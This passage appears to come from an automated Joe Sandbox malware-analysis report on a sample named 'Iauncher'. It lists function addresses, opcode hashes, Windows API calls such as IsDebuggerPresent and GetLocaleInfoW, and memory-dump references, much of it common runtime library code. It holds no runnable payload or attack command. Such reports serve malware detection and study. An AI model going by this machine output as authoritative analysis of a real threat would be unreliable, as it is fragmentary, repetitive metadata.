Opcode Fuzzy Hash: 4164da92a112a572d4f4baa9ddf91dd30f7939d8ed86995ca135d24dfdb39a58
Instruction Fuzzy Hash: 0A71F975600302AAEB24AB75EC4AB7A7FA8FF45710F14C42DF90DE7181EB70E940A761

Uniqueness

Uniqueness Score: -1.00%

Function 00574713 Relevance: 6.3, APIs: 4, Instructions: 337COMMONLIBRARYCODE

Download Yara Rule

APIs

_strrchr.LIBCMT ref: 005747A0

Memory Dump Source

Source File: 0000000B.00000002.1282245123.0000000000561000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00560000, based on PE: true

Associated: 0000000B.00000002.1282221168.0000000000560000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.1282309727.0000000000584000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.1282336889.000000000058E000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.1282336889.00000000005C4000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.1282336889.00000000005D3000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.1282753451.00000000005DC000.00000040.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.1283537777.00000000005DD000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_560000_Iauncher.jbxd

Yara matches

Similarity

API ID: _strrchr
String ID:
API String ID: 3213747228-0
Opcode ID: 45bf08c2e22f38f603408032c61045bde22d04295a5d25251943078c29725431
Instruction ID: 42ad051388fbec0f6d81e1946b199e762bfbfe86021ed86e0408ff6f4cde26d7
Opcode Fuzzy Hash: 45bf08c2e22f38f603408032c61045bde22d04295a5d25251943078c29725431
Instruction Fuzzy Hash: D3B13332A002969FDB15CF68D881BEEBFA5FF55300F14C16AE908AB241D3349D01DFA0

Uniqueness

Uniqueness Score: -1.00%

Function 00566D9F Relevance: 6.1, APIs: 4, Instructions: 70COMMON

Download Yara Rule

APIs

IsProcessorFeaturePresent.KERNEL32(00000017,?), ref: 00566DAB
IsDebuggerPresent.KERNEL32 ref: 00566E77
SetUnhandledExceptionFilter.KERNEL32(00000000), ref: 00566E90
UnhandledExceptionFilter.KERNEL32(?), ref: 00566E9A

Memory Dump Source

Source File: 0000000B.00000002.1282245123.0000000000561000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00560000, based on PE: true

Associated: 0000000B.00000002.1282221168.0000000000560000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.1282309727.0000000000584000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.1282336889.000000000058E000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.1282336889.00000000005C4000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.1282336889.00000000005D3000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.1282753451.00000000005DC000.00000040.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.1283537777.00000000005DD000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_560000_Iauncher.jbxd

Yara matches

Similarity

API ID: ExceptionFilterPresentUnhandled$DebuggerFeatureProcessor
String ID:
API String ID: 254469556-0
Opcode ID: d9db23792d5fdcc4bd2eabfb1f5f22b4dc6c91e4e6c753f5aa6f2435c84218cb
Instruction ID: e3548d3d52100d88690d9c31a4eaa138dea909d6d36d60e15e2ff9a09c9d6ad0
Opcode Fuzzy Hash: d9db23792d5fdcc4bd2eabfb1f5f22b4dc6c91e4e6c753f5aa6f2435c84218cb
Instruction Fuzzy Hash: 8531F775D05219DBDF20DFA4D9897CEBBB8BF18300F1041AAE90CAB250EB719A849F45

Uniqueness

Uniqueness Score: -1.00%

Function 0057C5D5 Relevance: 4.7, APIs: 3, Instructions: 205COMMON

Download Yara Rule

APIs

Part of subcall function 005730E0: GetLastError.KERNEL32(?,00000008,00578F07,00000000,0056AC50), ref: 005730E4
Part of subcall function 005730E0: SetLastError.KERNEL32(00000000,00000002,000000FF), ref: 00573186

GetLocaleInfoW.KERNEL32(00000000,?,?,00000078), ref: 0057C629
GetLocaleInfoW.KERNEL32(00000000,?,?,00000078), ref: 0057C673
GetLocaleInfoW.KERNEL32(00000000,?,?,00000078), ref: 0057C739

Memory Dump Source

Source File: 0000000B.00000002.1282245123.0000000000561000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00560000, based on PE: true

Associated: 0000000B.00000002.1282221168.0000000000560000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.1282309727.0000000000584000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.1282336889.000000000058E000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.1282336889.00000000005C4000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.1282336889.00000000005D3000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.1282753451.00000000005DC000.00000040.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.1283537777.00000000005DD000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_560000_Iauncher.jbxd

Yara matches

Similarity

API ID: InfoLocale$ErrorLast
String ID:
API String ID: 661929714-0
Opcode ID: 749d7cff1390e09fccbf0b1025a79ec146285687ae3c4b9e22c72a59c8b20363
Instruction ID: b198d9caa1a3253524c7da8cc2bf68587b641088579bf972e51ea2cb5da221b8
Opcode Fuzzy Hash: 749d7cff1390e09fccbf0b1025a79ec146285687ae3c4b9e22c72a59c8b20363
Instruction Fuzzy Hash: 9A618F716102179BEB289F28EC86BAA7FA8FF44300F10C16DED09D6185EB34D985EF51

Uniqueness

Uniqueness Score: -1.00%

Function 0056AAD3 Relevance: 4.6, APIs: 3, Instructions: 77COMMONLIBRARYCODE

Download Yara Rule

APIs

IsDebuggerPresent.KERNEL32(?,?,?,?,?,?), ref: 0056ABCB
SetUnhandledExceptionFilter.KERNEL32(00000000,?,?,?,?,?,?), ref: 0056ABD5
UnhandledExceptionFilter.KERNEL32(?,?,?,?,?,?,?), ref: 0056ABE2

Memory Dump Source

Source File: 0000000B.00000002.1282245123.0000000000561000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00560000, based on PE: true

Associated: 0000000B.00000002.1282221168.0000000000560000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.1282309727.0000000000584000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.1282336889.000000000058E000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.1282336889.00000000005C4000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.1282336889.00000000005D3000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.1282753451.00000000005DC000.00000040.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.1283537777.00000000005DD000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_560000_Iauncher.jbxd

Yara matches

Similarity

API ID: ExceptionFilterUnhandled$DebuggerPresent
String ID:
API String ID: 3906539128-0
Opcode ID: 5d723c5fe6f29d7ccd8f30df69bf1545deea9131acc1537fa6f80d00c9516ee0
Instruction ID: 1bbaaf84f9e6ea54bc001f6d8e51a6e9c982dc7ab7b2cc02f2367f985bb33824
Opcode Fuzzy Hash: 5d723c5fe6f29d7ccd8f30df69bf1545deea9131acc1537fa6f80d00c9516ee0
Instruction Fuzzy Hash: 4C31E574901219DBCB21DF64DD89B8DBBB8BF18310F5041DAE81CA7250EB709F858F45

Uniqueness

Uniqueness Score: -1.00%

Function 00575D19 Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 24COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLocaleInfoW.KERNEL32(00000000,?,00000000,?,-00000050,?,?,?,0057232C,?,20001004,00000000,00000002,?,?,0057192E), ref: 00575D4D

Strings

SV, xrefs: 00575D38

Memory Dump Source

Source File: 0000000B.00000002.1282245123.0000000000561000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00560000, based on PE: true

Associated: 0000000B.00000002.1282221168.0000000000560000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.1282309727.0000000000584000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.1282336889.000000000058E000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.1282336889.00000000005C4000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.1282336889.00000000005D3000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.1282753451.00000000005DC000.00000040.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.1283537777.00000000005DD000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_560000_Iauncher.jbxd

Yara matches

Similarity

API ID: InfoLocale
String ID: SV
API String ID: 2299586839-4155469514
Opcode ID: 068e087007f3c5e3ed925e6048bf55eaa548150617d373ec6391f98cc2f4e2b7
Instruction ID: 85cc21ce301904e7d2c555033ea1da52a0a4d1991acdadadfd8f464cd2ef2c49
Opcode Fuzzy Hash: 068e087007f3c5e3ed925e6048bf55eaa548150617d373ec6391f98cc2f4e2b7
Instruction Fuzzy Hash: 64E01A3190051EFBCB222F61EC09A9E7E59BF44760F008410FD096A121DBB28A21BB91

Uniqueness

Uniqueness Score: -1.00%

Function 0056687C Relevance: 1.6, APIs: 1, Instructions: 147COMMON

Download Yara Rule

APIs

IsProcessorFeaturePresent.KERNEL32(0000000A), ref: 00566892

Memory Dump Source

Source File: 0000000B.00000002.1282245123.0000000000561000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00560000, based on PE: true

Associated: 0000000B.00000002.1282221168.0000000000560000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.1282309727.0000000000584000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.1282336889.000000000058E000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.1282336889.00000000005C4000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.1282336889.00000000005D3000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.1282753451.00000000005DC000.00000040.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.1283537777.00000000005DD000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_560000_Iauncher.jbxd

Yara matches

Similarity

API ID: FeaturePresentProcessor
String ID:
API String ID: 2325560087-0
Opcode ID: 2b69fa81a0c7f66ef0ed10ec54c3310be696c1c8075397189169cc501cc54fae
Instruction ID: f2392574b0a73ff002f3564f5720f60a718fc33f96cd2ab093c42c7ba31f88b5
Opcode Fuzzy Hash: 2b69fa81a0c7f66ef0ed10ec54c3310be696c1c8075397189169cc501cc54fae
Instruction Fuzzy Hash: CB516EB5A01605CFEB14CFA5DE867AABBF0FB58310F249A2AD806FB250D3749944CB50

Uniqueness

Uniqueness Score: -1.00%

Function 0057960E Relevance: 1.6, APIs: 1, Instructions: 140COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000B.00000002.1282245123.0000000000561000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00560000, based on PE: true

Associated: 0000000B.00000002.1282221168.0000000000560000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.1282309727.0000000000584000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.1282336889.000000000058E000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.1282336889.00000000005C4000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.1282336889.00000000005D3000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.1282753451.00000000005DC000.00000040.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.1283537777.00000000005DD000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_560000_Iauncher.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9c6298528acc933368cf2696c7689d3e043873af8187f28fa81416800618a55f
Instruction ID: bca909097aee6ed6b8d12ed724230b2455a3124ac73534f3efb8c7e7b45bd9fe
Opcode Fuzzy Hash: 9c6298528acc933368cf2696c7689d3e043873af8187f28fa81416800618a55f
Instruction Fuzzy Hash: C141C675804219AEDF10DF69DC89AEABBB8FF45304F1482D9E40CD3201DA309E849F60

Uniqueness

Uniqueness Score: -1.00%

Function 0057C828 Relevance: 1.6, APIs: 1, Instructions: 83COMMON

Download Yara Rule

APIs

Part of subcall function 005730E0: GetLastError.KERNEL32(?,00000008,00578F07,00000000,0056AC50), ref: 005730E4
Part of subcall function 005730E0: SetLastError.KERNEL32(00000000,00000002,000000FF), ref: 00573186

GetLocaleInfoW.KERNEL32(00000000,?,?,00000078), ref: 0057C87C

Memory Dump Source

Source File: 0000000B.00000002.1282245123.0000000000561000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00560000, based on PE: true

Associated: 0000000B.00000002.1282221168.0000000000560000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.1282309727.0000000000584000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.1282336889.000000000058E000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.1282336889.00000000005C4000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.1282336889.00000000005D3000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.1282753451.00000000005DC000.00000040.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.1283537777.00000000005DD000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_560000_Iauncher.jbxd

Yara matches

Similarity

API ID: ErrorLast$InfoLocale
String ID:
API String ID: 3736152602-0
Opcode ID: 72b47690ac47f0c615679bfba19f289179beced699958c450bd8e0c748fe4a78
Instruction ID: bdbfbd9284b9c8a5da2b1b156c74ef89a8b3ea5bb29daf95a399434e55b94556
Opcode Fuzzy Hash: 72b47690ac47f0c615679bfba19f289179beced699958c450bd8e0c748fe4a78
Instruction Fuzzy Hash: 4821B372610207ABDB28AA29EC46B7A3FA8FF45314B10807EFD09D6141EB75ED04AB51

Uniqueness

Uniqueness Score: -1.00%

Function 0057C4AF Relevance: 1.6, APIs: 1, Instructions: 63COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 005730E0: GetLastError.KERNEL32(?,00000008,00578F07,00000000,0056AC50), ref: 005730E4
Part of subcall function 005730E0: SetLastError.KERNEL32(00000000,00000002,000000FF), ref: 00573186

EnumSystemLocalesW.KERNEL32(0057C5D5,00000001,00000000,?,-00000050,?,0057CC06,00000000,?,?,?,00000055,?), ref: 0057C521

Memory Dump Source

Source File: 0000000B.00000002.1282245123.0000000000561000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00560000, based on PE: true

Associated: 0000000B.00000002.1282221168.0000000000560000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.1282309727.0000000000584000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.1282336889.000000000058E000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.1282336889.00000000005C4000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.1282336889.00000000005D3000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.1282753451.00000000005DC000.00000040.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.1283537777.00000000005DD000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_560000_Iauncher.jbxd

Yara matches

Similarity

API ID: ErrorLast$EnumLocalesSystem
String ID:
API String ID: 2417226690-0
Opcode ID: f42be8ceef2a727bc2ac0d56e11a75489de5c2e137ea25512d801583169e2b2d
Instruction ID: 5372ab725dee6ca8230e708a59a02b65ad6ddae5d6c1620339992f8bb3de777c
Opcode Fuzzy Hash: f42be8ceef2a727bc2ac0d56e11a75489de5c2e137ea25512d801583169e2b2d
Instruction Fuzzy Hash: AB114C3B2007015FDF189F39D8A567ABF92FF84368B15842DE94A87740E772B942E740

Uniqueness

Uniqueness Score: -1.00%

Function 0057CA57 Relevance: 1.5, APIs: 1, Instructions: 45COMMON

Download Yara Rule

APIs

Part of subcall function 005730E0: GetLastError.KERNEL32(?,00000008,00578F07,00000000,0056AC50), ref: 005730E4
Part of subcall function 005730E0: SetLastError.KERNEL32(00000000,00000002,000000FF), ref: 00573186

GetLocaleInfoW.KERNEL32(?,20000001,?,00000002,?,00000000,?,?,0057C7F1,00000000,00000000,?), ref: 0057CA83

Memory Dump Source

Source File: 0000000B.00000002.1282245123.0000000000561000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00560000, based on PE: true

Associated: 0000000B.00000002.1282221168.0000000000560000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.1282309727.0000000000584000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.1282336889.000000000058E000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.1282336889.00000000005C4000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.1282336889.00000000005D3000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.1282753451.00000000005DC000.00000040.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.1283537777.00000000005DD000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_560000_Iauncher.jbxd

Yara matches

Similarity

API ID: ErrorLast$InfoLocale
String ID:
API String ID: 3736152602-0
Opcode ID: 81d07019da6091c94af48a63f80765b8406a87b5e9021e7f18c8aa4391156c57
Instruction ID: 2c2869037a13b555310fa901d0cc0cb332e77b9b19f6d551b42eff2e076876af
Opcode Fuzzy Hash: 81d07019da6091c94af48a63f80765b8406a87b5e9021e7f18c8aa4391156c57
Instruction Fuzzy Hash: B1F0F93660011BAFDB24DA21DC09BBA7F54FB40355F08C42DED0AA3140DA74FE41E6D0

Uniqueness

Uniqueness Score: -1.00%

Function 0057C54A Relevance: 1.5, APIs: 1, Instructions: 41COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 005730E0: GetLastError.KERNEL32(?,00000008,00578F07,00000000,0056AC50), ref: 005730E4
Part of subcall function 005730E0: SetLastError.KERNEL32(00000000,00000002,000000FF), ref: 00573186

EnumSystemLocalesW.KERNEL32(0057C828,00000001,?,?,-00000050,?,0057CBCA,-00000050,?,?,?,00000055,?,-00000050,?,?), ref: 0057C594

Memory Dump Source

Source File: 0000000B.00000002.1282245123.0000000000561000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00560000, based on PE: true

Associated: 0000000B.00000002.1282221168.0000000000560000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.1282309727.0000000000584000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.1282336889.000000000058E000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.1282336889.00000000005C4000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.1282336889.00000000005D3000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.1282753451.00000000005DC000.00000040.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.1283537777.00000000005DD000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_560000_Iauncher.jbxd

Yara matches

Similarity

API ID: ErrorLast$EnumLocalesSystem
String ID:
API String ID: 2417226690-0
Opcode ID: 92fdf5cca61602885590bd2e30b25bae7f4f4958cb1013ce86fbca4b84421a89
Instruction ID: 9d1fbf954766f4a6f86d7e5b035e370bad8d1ec18bed8ca151a39b76fddc8bfc
Opcode Fuzzy Hash: 92fdf5cca61602885590bd2e30b25bae7f4f4958cb1013ce86fbca4b84421a89
Instruction Fuzzy Hash: 5CF0C2362003055FDB14AF35A885A7A7F91FF80768B05842CF90A8B680C672AD41EB50

Uniqueness

Uniqueness Score: -1.00%

Function 005757F3 Relevance: 1.5, APIs: 1, Instructions: 33COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 0056D9E4: EnterCriticalSection.KERNEL32(?,?,00572DB8,?,0058D418,00000008,00572F7C,?,?,?), ref: 0056D9F3

EnumSystemLocalesW.KERNEL32(005757E6,00000001,0058D4D8,0000000C,00575C15,00000000), ref: 0057582B

Memory Dump Source

Source File: 0000000B.00000002.1282245123.0000000000561000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00560000, based on PE: true

Associated: 0000000B.00000002.1282221168.0000000000560000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.1282309727.0000000000584000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.1282336889.000000000058E000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.1282336889.00000000005C4000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.1282336889.00000000005D3000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.1282753451.00000000005DC000.00000040.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.1283537777.00000000005DD000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_560000_Iauncher.jbxd

Yara matches

Similarity

API ID: CriticalEnterEnumLocalesSectionSystem
String ID:
API String ID: 1272433827-0
Opcode ID: f2ba3d667ce9ab3bca0dcd2f83cefca7d628963b2c844201a06cebcb032490a2
Instruction ID: 6afeff4df4a86502221ccb2d7f4592d387deb8702fc4a6b9c12dc56f5b035a99
Opcode Fuzzy Hash: f2ba3d667ce9ab3bca0dcd2f83cefca7d628963b2c844201a06cebcb032490a2
Instruction Fuzzy Hash: 32F03C72A54205DFD700EF98E846B597BF0FB48724F10852AE814AB2A0DBB55908DF50

Uniqueness

Uniqueness Score: -1.00%

Function 0057C464 Relevance: 1.5, APIs: 1, Instructions: 31COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 005730E0: GetLastError.KERNEL32(?,00000008,00578F07,00000000,0056AC50), ref: 005730E4
Part of subcall function 005730E0: SetLastError.KERNEL32(00000000,00000002,000000FF), ref: 00573186

EnumSystemLocalesW.KERNEL32(0057C3BD,00000001,?,?,?,0057CC28,-00000050,?,?,?,00000055,?,-00000050,?,?,00000004), ref: 0057C49B

Memory Dump Source

Source File: 0000000B.00000002.1282245123.0000000000561000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00560000, based on PE: true

Associated: 0000000B.00000002.1282221168.0000000000560000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.1282309727.0000000000584000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.1282336889.000000000058E000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.1282336889.00000000005C4000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.1282336889.00000000005D3000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.1282753451.00000000005DC000.00000040.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.1283537777.00000000005DD000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_560000_Iauncher.jbxd

Yara matches

Similarity

API ID: ErrorLast$EnumLocalesSystem
String ID:
API String ID: 2417226690-0
Opcode ID: 7edb0e207c03800951fb08cbd9c05101c7f90be79477ea0ff755cdca1fec25f0
Instruction ID: e4531bde26c40b538910c803cffc8cee51cbf3916ca2e21890362e284426a05e
Opcode Fuzzy Hash: 7edb0e207c03800951fb08cbd9c05101c7f90be79477ea0ff755cdca1fec25f0
Instruction Fuzzy Hash: E5F0E53A30020557CF04AF35E859B7A7F95FFC1761B06805DEE0E8B250C6769946E790

Uniqueness

Uniqueness Score: -1.00%

Function 00566EFB Relevance: 1.5, APIs: 1, Instructions: 3COMMON

Download Yara Rule

APIs

SetUnhandledExceptionFilter.KERNEL32(Function_00006F07,00566457), ref: 00566F00

Memory Dump Source

Source File: 0000000B.00000002.1282245123.0000000000561000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00560000, based on PE: true

Associated: 0000000B.00000002.1282221168.0000000000560000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.1282309727.0000000000584000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.1282336889.000000000058E000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.1282336889.00000000005C4000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.1282336889.00000000005D3000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.1282753451.00000000005DC000.00000040.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.1283537777.00000000005DD000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_560000_Iauncher.jbxd

Yara matches

Similarity

API ID: ExceptionFilterUnhandled
String ID:
API String ID: 3192549508-0
Opcode ID: 753a567ffa044d17f2da0f607f4a6930c133e0706efa7dbe48a3fd88a7cb4e81
Instruction ID: 32efa583d39b9aace6f665e7e0b15781f81c3f61e4c54e05134ecec805f1cd1c
Opcode Fuzzy Hash: 753a567ffa044d17f2da0f607f4a6930c133e0706efa7dbe48a3fd88a7cb4e81
Instruction Fuzzy Hash:

Uniqueness

Uniqueness Score: -1.00%

Function 0057CD88 Relevance: 1.3, APIs: 1, Instructions: 5memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32 ref: 0057CD88

Memory Dump Source

Source File: 0000000B.00000002.1282245123.0000000000561000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00560000, based on PE: true

Associated: 0000000B.00000002.1282221168.0000000000560000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.1282309727.0000000000584000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.1282336889.000000000058E000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.1282336889.00000000005C4000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.1282336889.00000000005D3000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.1282753451.00000000005DC000.00000040.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.1283537777.00000000005DD000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_560000_Iauncher.jbxd

Yara matches

Similarity

API ID: HeapProcess
String ID:
API String ID: 54951025-0
Opcode ID: f0ef559ca1cc485a2036a1f3e7d4e17ee5cd407f287895692aa3a68ad72fb163
Instruction ID: 20be810ecd7c1aa230dbc6ed0c4cf59a57eba29a7f66ad7333743407fca9dcda
Opcode Fuzzy Hash: f0ef559ca1cc485a2036a1f3e7d4e17ee5cd407f287895692aa3a68ad72fb163
Instruction Fuzzy Hash: 55A011302022028BC3008F30AB0820C3AE8AA2E2823002028AC08E0022EA3080A8AB00

Uniqueness

Uniqueness Score: -1.00%

Function 005699E8 Relevance: 12.6, APIs: 4, Strings: 3, Instructions: 303COMMONLIBRARYCODE

Download Yara Rule

APIs

type_info::operator==.LIBVCRUNTIME ref: 00569B07
___TypeMatch.LIBVCRUNTIME ref: 00569C15
_UnwindNestedFrames.LIBCMT ref: 00569D67
CallUnexpected.LIBVCRUNTIME ref: 00569D82

Strings

csm, xrefs: 00569B3E
csm, xrefs: 00569A92
csm, xrefs: 00569A25

Memory Dump Source

Source File: 0000000B.00000002.1282245123.0000000000561000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00560000, based on PE: true

Associated: 0000000B.00000002.1282221168.0000000000560000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.1282309727.0000000000584000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.1282336889.000000000058E000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.1282336889.00000000005C4000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.1282336889.00000000005D3000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.1282753451.00000000005DC000.00000040.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.1283537777.00000000005DD000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

